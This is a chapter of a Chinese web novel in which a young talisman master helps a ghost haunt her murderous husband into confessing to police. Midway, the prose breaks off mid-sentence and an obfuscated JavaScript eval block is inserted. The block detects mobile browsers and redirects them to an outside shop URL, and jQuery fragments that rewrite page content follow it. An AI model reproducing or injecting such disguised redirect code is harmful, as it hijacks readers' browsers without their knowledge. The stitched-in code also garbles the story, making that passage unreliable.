休庭后,被告律师突然转向法官:“法官大人,鉴于案件情况,加之我的当事人身体出现不适,为彻底化解矛盾,我的当事人正式提出调解意愿,希望能在法庭主持下与对方协商一个解决方案。”
来了!
阮夏挑眉和张舒雨对视一眼,又和沈爱红夫妻两个使了个眼色。
如他们所愿,张扬为了不退房,一再增加赔偿款额度,他的律师都一脸生无可恋。
阮夏觉得能让民事律师怀疑自己当事人是不是刑事嫌疑人,张扬估计是第一个。
一百万赔偿款,第二天就到账。沈爱红提出要求,张扬连一秒都不耽搁就答应了。
阮夏咋舌,这沈爱红也是个狠人,他们原来商定的是几十万的赔偿,这家伙直接给翻倍了。翻倍了好,她们也可以多分点钱。
听着钱到账的声音,阮夏仔仔细细数了数自己账户里的钱,两百多万。好!明天就去买房买车,再买一些智能家居,就那个智能窗帘,智能灯都装上,这样就不用下床关灯拉窗帘了,想想都挺美。
不过她还不知道命续了多久,别有钱了没命花可就搞笑了。
系统声音乖巧:“主人,这次案件,通过普法获得积分奖励20,现金奖励+1000。打赢官司获得积分奖励200,现金奖励10000。”
阮夏心中计算,总共是两百二十天。加上剩下的三十四天,总共二百五十四天。
哎,还不到一年。
“大师,你叹什么气?”从葫芦里被放出来,在旁边等着指示的赵茵茵不解地问。
“没你什么事,”阮夏收起手机,“你去找张扬吧。记住,务必让他把房子退了,他不退房你就一直缠着他。”
赵茵茵应声离开,她现在只想让渣男得到惩罚,不会为了他让自己背上债的。
她刚离开,阮夏的电话就响了,她接起来,是一个年轻男人的声音。
“阮大师,你好,我叫杜子言,我爷爷说你有一些符箓要寄卖,让我来帮他取一下。”
“哦,好,你进来吧,三号楼十九楼边户。”
阮夏挂断电话,开始整理桌子上的画好的符纸,分类点算好,随手拿了个塑料袋装了起来。
门铃响了,她拿着塑料袋打开门。
“诺,给你,护身符三十张,驱邪符三十张,雷符二十张。”
杜子言眼睛瞪的溜圆,虽然爷爷提醒过大师很年轻,他没想到竟然会这么年轻,像是刚毕业的大学生。
不过,这大师怎么看起来有点眼熟?
等到他看到对方手里的东西时,眼睛瞪的更大了,连嘴巴都成了O形。这么贵重的符纸竟然用塑料袋这么随便一装,简直是暴殄天物啊!
见他半天不接,阮夏疑惑道:“还有什么问题?”
“没,没有。”杜子言回神,连忙小心翼翼地接过袋子,思忖着一会要换个什么样的好容器才行。
电梯里两人都没有说话。杜子言等人出了电梯进入另一栋楼,才猛然想起,这不是他们公司新入职就转正的阮夏吗?
公司里还谣传人家有后台什么的,这哪是有后台,人家自己就是后台!
*
为了不退房,张扬大出血给了沈爱红夫妻赔偿款,几乎把卖房款都赔了进去。虽然心中憋气窝火,能摆脱那个见鬼的房子他也认了。只要有钱,去哪都行,他想好了,把新区的房子卖了然后去隔壁市再买一套。这里坚决不能待了,谁知道赵茵茵会不会再找过来。
都怪那个该死的律师,要不是她那么问,他又怎么会装病提出调解!
别墅贱卖,又赔了一笔赔偿款,他从赵家薅来的钱已经不多了。所以这个房子坚决不能让价。可是中介连着两天带了不少人来看房子,搞得他精疲力尽,却没有一个爽利不杀价的。
张扬颓然地倒在沙发上,思考着怎么把房子卖出去。突然一阵敲门声响起。
“谁呀,”他起身去开门,可是门外空无一人。电梯厅感应灯没有亮,只有安全出口的灯牌发出幽幽的绿光。就在这时,客厅的灯啪的一声灭了。
张扬把房门关上,表面镇静,实际头皮发麻,连脚都不听使唤了。他连滚带爬跑到沙发旁边,找到自己的手机,抖着手找到好友的电话摁了下去。
对面过了好一会才接通,接通瞬间,张扬大声喊:“兄弟,快来救救我,快来我家。快点!”
“为什么要卖了我的房子?”
是赵茵茵的声音!
张扬的叫喊声戛然而止,冷意顺着脊背向上爬,凉入骨髓。他张嘴,只觉得喉咙紧涩,一句话也说不出来。尽管知道这么做没什么用,他还是手忙脚乱地挂断电话,扔得远远的。
下一秒,一个白色的身影出现在窗边。
“把我的房子还给我。”
张扬蜷缩在沙发角落,拿这一个大抱枕抵在胸前。额头冒出细密的冷汗,裤子也已经湿透了。
“把我的房子还给我。”白色的身影突然往前进了几步。
“房,房子,我,我,我已经卖了。”张扬牙齿打颤,尖叫着喊出声。
一股难言的味道传来,赵茵茵嫌弃地捂着鼻子,下一秒又觉得不妥,把手放了下来,恢复冷酷的模样:“把我的房子买回来,还给我爸妈。否则我会永远缠着你,永远。”
说完,她飞快地消失了。
太难闻了!
张扬看着恢复亮光的顶灯,缩在沙发上嚎啕大哭。
阮夏正在办公室跟张舒雨说话,突然接到沈爱红打来的电话。
“大师啊,那个张扬果然哭着喊着求我们把房子退给他。我们按照你的意思,拒绝了。结果今天他又来了,甚至还加了钱,我们是同意还是不同意啊。”
阮夏:“人渣还是早点进去的好。同意吧,赶紧办理手续。”
“哎,好嘞。”那边沈爱红乐呵呵地挂了电话。
卖了房子的张扬,连赵家父母也不敷衍了,直接住进了酒店。以为终于摆脱了赵茵茵,结果半夜他睁开眼睛,床边依然站着一个白色身影。
瞬间崩溃大哭:“房子我已经还给你爸妈了,你怎么还来?”
赵茵茵突然凑近,露出自己死前的模样,声音阴冷:“我的头破了,是你害了我。”
突如其来的视觉冲击太过强烈,张扬“嗷”地一声冲了出去。由于太过恐惧,他根本分不清楼梯的方向,一直在打转,赵茵茵也不紧不慢地跟在他身后,时不时猛地往前凑上来吓他一吓。
张扬不知道在酒店长廊上转了多久,终于看到了楼梯口。
在看到前台小姐的时候,整个人瘫软在地。
“先生,你没事吧?”
张扬正想回答,结果一抬头,发现前台小姐慢慢变成了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17528209|203615||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
赵茵茵那张血肉模糊的脸。他脑袋里嗡的一声,一片空白,不顾一切地跪伏在地:“你放过我吧。我错了,我不该鬼迷心窍杀了你。求求你放过我吧。我错了!我真的错了!”
他的疯言疯语把前台小姐吓得够呛,连忙通知了老板,两人商议之后迅速报了警。
警察来了之后,张扬也慢慢恢复了理智,左看右看,没看到那道白色的身影,正想开口辩解说自己耍酒疯,余光突然看到酒店大堂玻璃门上,一脸是血的人正冲他咧嘴笑。
他脸色一变,一把抱住警察的胳膊:“啊啊啊啊,我自首,我自首!”
看着张扬被塞进警车,张舒雨觉得特别畅快,可是又忍不住担心起来:“你说这证据都被他给销毁了,又没有监控,能让他得到应有的惩罚吗?万一他反悔了……”
阮夏瞄了一眼跟在警车后面的赵茵茵,发动车子:“放心,他会把事情交代清楚的,除非他想一辈子被鬼缠着。”
张扬什么都招了。
小三姐的证词,以及她和张扬之间的金钱往来记录,聊天记录,充分说明张扬有作案动机。购买弹珠的记录也和他自首的笔录相符合,警方很快就立案了。只不过鉴于他自首的表现给予减轻量刑。
这当然也在赵茵茵的预料之内。时间间隔太久,她的尸体已经火化,加上现场记录也被破坏的彻底。能让他得到惩罚,也能让她父母认清这个人渣的真面目,不再被欺骗,已经算是最好的结果了。
案件彻底告终。阮夏也准备把赵茵茵送去她该去的地方。
送走之前,她例行公事问了一句:“你还有什么遗憾吗?”
遗憾?
想起自己父母,中年失孤,现在还要承受被蒙骗的打击。赵茵茵深呼吸,抬头仰望天空,压下流泪的冲动:“我父母只有我一个女儿,如今我走了,他们晚年无依无靠。我真是不孝,当初他们说门不当户不对,我不听。他们说张扬不像表面那么老实,我也不听。我死了之后,他们没有了感情寄托,张扬略施小计就把他们骗得团团转。我不是一个好女儿。”
阮夏眼神放空,不知道在想些什么。
张舒雨默默地看着她,没有说话。就在她以为阮夏要把人送走时,突然听她开口:“你可以去见你父母一面。”
赵茵茵一脸惊喜,继而又有些不安:“还是不要了,我怕吓着他们。”
阮夏冷哼一声:“你吓别人的时候不是吓得挺爽的吗?”
赵茵茵摸摸鼻子,有些不好意思。
“没事,有句话是怎么说的,别人害怕的每一个鬼,都是别人朝思暮想的亲人。他们不会害怕的。”张舒雨安慰她,“不行,我先去帮你透个气。然后你再去,他们有心理准备会好一点。。”
赵茵茵瞄了瞄阮夏,“那,太感谢你了。”
阮夏没有说什么,从随身的包里挑挑拣拣拿出来一张符纸:“可以让你暂时凝结成实体,时效两个小时,够你陪他们吃一顿饭了。”
“谢谢大师。”赵茵茵一脸感激。这符纸比之前的几张阴气符更厉害。
就在两人准备离开时,阮夏转转脖颈,突然想到自己的按摩浴缸还没买,连忙把两人喊住:“等等,记得让你爸妈把你这些天用符箓的钱结一下。”
赵茵茵:?
看到她的表情,阮夏一脸不可置信:“我像是很爱被占便宜的人吗?”